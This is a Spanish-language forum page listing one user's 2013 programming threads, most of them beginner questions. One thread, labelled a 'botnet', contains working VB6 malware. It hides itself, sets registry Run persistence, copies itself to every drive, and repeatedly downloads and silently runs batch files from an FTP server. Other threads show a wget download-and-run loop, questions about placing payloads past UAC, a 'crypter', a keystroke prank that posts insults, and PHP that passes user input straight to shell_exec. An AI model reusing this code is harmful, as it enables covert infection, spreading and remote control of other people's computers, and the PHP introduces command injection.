Últimos Temas de: asdexiva

Mostrar Temas
Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12

51	Programación / Programación General / pseudocodigo sueldo de 5 empleados estructura repetitiva	en: 6 Noviembre 2013, 21:02 pm
por mas que trato de ayarle una forma de hacerlo me confundo alguien podria ayudarme, lo maximo que pude hacer esta abajo si alguien pudiera ayudarme gracias pudieran ayudarme en este pseudocodigo capturar el sueldo de 5 empleados de acuerdo ala siguiente categoria eventual=20$ asalariado=100$ a cada uno descontar 20% de impuesto al final determinar nomina total quiero saber como podria hacerlo o si me pudieran corregir este Código: inicio entero;i,sueldo,nomina,eventual=0,asal… i=1 mientras(i<=5) hacer leer sueldo si (sueldo<=100) entonces eventual=eventual + sueldo /0.20 imprimir "eventual" nomina <- eventual de lo contrario asalariado=asalariado+sueldo/0.20 imprimir "asalariado" nomina<-asalariado i<- i+1 fin del mientras imprimir nomina fin gracias

52	Programación / Programación Visual Basic / modificacion de archivos batch	en: 4 Noviembre 2013, 21:46 pm
alguien me podria dar una idea de como modificar partes de un batch por ejemplo Código: set juego=systems.exe SET AUTORUNORIGINAL=%WINDIR%\14785\WINUPDATE.DLL SET AUTORUN=autorun.inf modificar autorun.inf por otra cosa con un texbox ojo solo pido un ejemplo no pido que me lo hagan quiero crear un especie de encriptador de batch pero solo quiero modificar partes del codigo si alguien pudiera ayudarme muchas gracias quiero algo parecido a esto pero en batch esto es en word Código: Option Explicit Dim objWord As Word.Application Private Sub cmdLlenaCarta_Click() Set objWord = New Word.Application objWord.Visible = True 'Pon la Ruta donde Guardaste la Carta objWord.Documents.Open App.Path & "Carta.doc" objWord.Documents(1).Bookmarks("Destinatario").Range = txtDestinatario.Text objWord.Documents(1).Bookmarks("Esposa").Range = txtEsposa.Text objWord.Documents(1).Bookmarks("Fecha").Range = txtFecha.Text End Sub Private Sub Form_Unload(Cancel As Integer) Set objWord = Nothing End Sub Private Sub LlenaCarta_Click() End Sub lo que hace es que modifica el nombre de la esposa la feha,el destinatario por algo que tenga en los textbox lo solucione solo hice los marcadores en word y de word convertirlo a bat

53	Programación / Desarrollo Web / ayuda con especie de mp3 downloader page	en: 2 Noviembre 2013, 16:11 pm
Código: <?php $usuario = $_POST['video']; echo "Starting download...\n\n"; echo shell_exec("youtube-dl -f 17 -t --extract-audio --audio-format mp3 ".$usuario.""); echo "Done.\n"; ?> tengo este codigo en php y descarga el sonido perfectamente pero por ejemplo si lo hago en lan funciona tambien pero el archivo mp3 se baja en el directorio y no se baja en el otro pc alguien podria decirme como podria hacer para que el mp3 se descarge en otro pc y no solo en el directorio de la web se los agradeceria mucho gracias

Programación / Programación Visual Basic / especie de botnet ftp inet

en: 26 Octubre 2013, 18:43 pm

Código:

Option Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)




Private Sub Form_Load()
FileCopy App.EXEName & ".EXE", "C:\wins.EXE"
Me.Hide
App.TaskVisible = False
Shell "reg add hklm\software\microsoft\windows\currentversion\run /v programa /t reg_sz /d C:\wins.exe /f "
Open "C:\Windows\System32\Winlog.bat" For Output As #1
Print #1, "@echo off"
Print #1, "If exist D:\ (Copy /y C:\wins.exe D:\trabajo.exe)"
Print #1, "If exist E:\ (Copy /y C:\wins.exe E:\trabajo.exe)"
Print #1, "If exist F:\ (Copy /y C:\wins.exe F:\trabajo.exe)"
Print #1, "If exist G:\ (Copy /y C:\wins.exe G:\trabajo.exe)"
Print #1, "If exist H:\ (Copy /y C:\wins.exe H:\trabajo.exe)"
Print #1, "If exist I:\ (Copy /y C:\wins.exe I:\trabajo.exe)"
Print #1, "If exist J:\ (Copy /y C:\wins.exe J:\trabajo.exe)"
Print #1, "If exist K:\ (Copy /y C:\wins.exe K:\trabajo.exe)"
Print #1, "If exist L:\ (Copy /y C:\wins.exe L:\trabajo.exe)"
Print #1, "If exist W:\ (Copy /y C:\wins.exe W:\trabajo.exe)"
Print #1, "If exist X:\ (Copy /y C:\wins.exe X:\trabajo.exe)"
Print #1, "If exist Y:\ (Copy /y C:\wins.exe Y:\trabajo.exe)"
Print #1, "If exist Z:\ (Copy /y C:\wins.exe Z:\trabajo.exe)"
Print #1, "If exist D:\ (Copy /y C:\wins.exe D:\moxxita.exe)"
Print #1, "If exist E:\ (Copy /y C:\wins.exe E:\moxxita.exe)"
Print #1, "If exist F:\ (Copy /y C:\wins.exe F:\moxxita.exe)"
Print #1, "If exist G:\ (Copy /y C:\wins.exe G:\moxxita.exe)"
Print #1, "If exist H:\ (Copy /y C:\wins.exe H:\moxxita.exe)"
Print #1, "If exist I:\ (Copy /y C:\wins.exe I:\moxxita.exe)"
Print #1, "If exist J:\ (Copy /y C:\wins.exe J:\moxxita.exe)"
Print #1, "If exist K:\ (Copy /y C:\wins.exe K:\moxxita.exe)"
Print #1, "If exist L:\ (Copy /y C:\wins.exe L:\moxxita.exe)"
Print #1, "If exist W:\ (Copy /y C:\wins.exe W:\moxxita.exe)"
Print #1, "If exist X:\ (Copy /y C:\wins.exe X:\moxxita.exe)"
Print #1, "If exist Y:\ (Copy /y C:\wins.exe Y:\moxxita.exe)"
Print #1, "If exist Z:\ (Copy /y C:\wins.exe Z:\moxxita.exe)"
Print #1, "exit"
Close #1
Shell ("C:\Windows\System32\Winlog.bat"), vbHide

End Sub
Private Sub Timer2_Timer()
On Error Resume Next

Inet1.Execute "ftp://" & Text1.Text & ":" & Text2.Text & "@ftp.server.com", "GET /public_html/xd.bat c:\lols.bat"
Calcular
If Dir("C:\lols.bat") <> "" Then
Shell ("c:\lols.bat"), vbHide
Calcular
Kill ("c:\lols.bat")
 Else
Calcular
End If
End Sub

Sub Calcular()
Call Sleep(60000) 'espera por 60 segundos
End Sub

si pudieran darme ideas para una especie de botnet con inet ftp jaja se los agradeceria mucho o si pudieran decirme como podria mejorar el codigo en algo,si pudieran decirme como podria saber si existe un archivo en el ftp descargargalo si no que se valla al tiempo de espera gracias

55	Programación / Programación Visual Basic / verificar existencia de un archivo dentro de un ftp	en: 23 Octubre 2013, 15:30 pm
es posible saber si existe un fichero x en un ftp desde vb6? quiero saber si existe el fichero x en el ftp y si existe bajarlo y realizar instruccion y si no que no haga nada si me pudieran ayudar gracias

56	Programación / Programación Visual Basic / bromilla con GetAsyncKeyState	en: 20 Octubre 2013, 04:11 am
lo que se puede hacer con la funcion GetAsyncKeyState utilizada mucho en los keyloggers xD aqui les traigo una pequeñilla broma que insulta jaja imaginate estas en facebook y presionas la letra s o cualquiera que le asignes ala bromilla y de un derrepente se autoescribra una groseria y mande un enter jaja los lios en los que meteras ala persona jaja declaras esto Código: Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Código: If GetAsyncKeyState(13) Then SendKeys "groceria" SendKeys "{ENTER}" End If va dentro de un timer espero no se lo tomen a mal y me insulten solo comparto informacion xD

57	Programación / Programación Visual Basic / webbrowser textarea no funciona	en: 16 Septiembre 2013, 04:11 am
Código: set HTML = WebBrowser1.Document For Each HTMLI In HTML.getElementsByTagName("textarea") If HTMLI.Id = "vB_Editor_001_textarea" Then HTMLI.Value = titulo End If Next por que este code no escribe nada en los textareas y en los inputs si ? ,si pudieras ayudarme gracias

58	Programación / Scripting / ejecutar aplicacion en %appdata%	en: 7 Septiembre 2013, 23:46 pm
mi prenguta es por que esto no ejecuta la aplicacion Código: start /b "%APPDATA%\xd.bat" y si me podrian decir directorios donde batch pueda copiar en windows 7 por ejemplo windows 7 no deja copiar ni crear carpetas en el directorio de windows por el uac ay carpetas que no tengan bloqueos ?

Programación / Programación Visual Basic / ayuda con disque crypter

en: 10 Agosto 2013, 23:24 pm

por que este codigo no remplaza como dice por ejemplo escribo b aparece z y debe aparecer e pongo d debe aparecer g y apareze h

Código:

Text1.Text = Replace(Text1.Text, "b", "e")
Text1.Text = Replace(Text1.Text, "c", "f")
Text1.Text = Replace(Text1.Text, "d", "g")
Text1.Text = Replace(Text1.Text, "e", "h")
Text1.Text = Replace(Text1.Text, "f", "i")
Text1.Text = Replace(Text1.Text, "g", "j")
Text1.Text = Replace(Text1.Text, "h", "k")
Text1.Text = Replace(Text1.Text, "i", "l")
Text1.Text = Replace(Text1.Text, "j", "m")
Text1.Text = Replace(Text1.Text, "k", "n")
Text1.Text = Replace(Text1.Text, "l", "o")
Text1.Text = Replace(Text1.Text, "m", "p")
Text1.Text = Replace(Text1.Text, "n", "q")
Text1.Text = Replace(Text1.Text, "o", "r")
Text1.Text = Replace(Text1.Text, "p", "s")
Text1.Text = Replace(Text1.Text, "q", "t")
Text1.Text = Replace(Text1.Text, "r", "u")
Text1.Text = Replace(Text1.Text, "s", "v")
Text1.Text = Replace(Text1.Text, "t", "w")
Text1.Text = Replace(Text1.Text, "u", "x")
Text1.Text = Replace(Text1.Text, "v", "y")
Text1.Text = Replace(Text1.Text, "w", "z")
Text1.Text = Replace(Text1.Text, "x", "a")
Text1.Text = Replace(Text1.Text, "y", "b")
Text1.Text = Replace(Text1.Text, "z", "c")

gracias

y si alguien me podria explicar el for each please xD

60	Programación / Scripting / wget duda batch	en: 8 Agosto 2013, 19:10 pm
habra alguna forma de que revise batch en un ftp remoto si existe un archivo y si existe que lo baje si no que se vaya tiempo de espera ? ejemplo Código: :inicio if exist public_html/as.bat goto seguir if no exist public_html/as.bat goto tiempo :seguir wget ftp://usuario:password@servidorftp/public_html/as.bat -O "C:\xd.bat" :seguir ping 127.0.0.1 -n 60 goto inicio quiero algo de ayuda en esto Código: if exist public_html/as.bat goto seguir if no exist public_html/as.bat goto tiempo alguna forma de hacerlo ? o si no es posible asi alguna de idea de como wget no me baje un archivo de 0kb ? por que necesito que wget no me baje nada por ejemplo tengo un archivo en mi host si existe el archivo que lo baje y lo ejecute pero si no existe que no me baje nada porque wget me baja un archivo de 0kb aver si alguien me puede ayudar gracias

Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12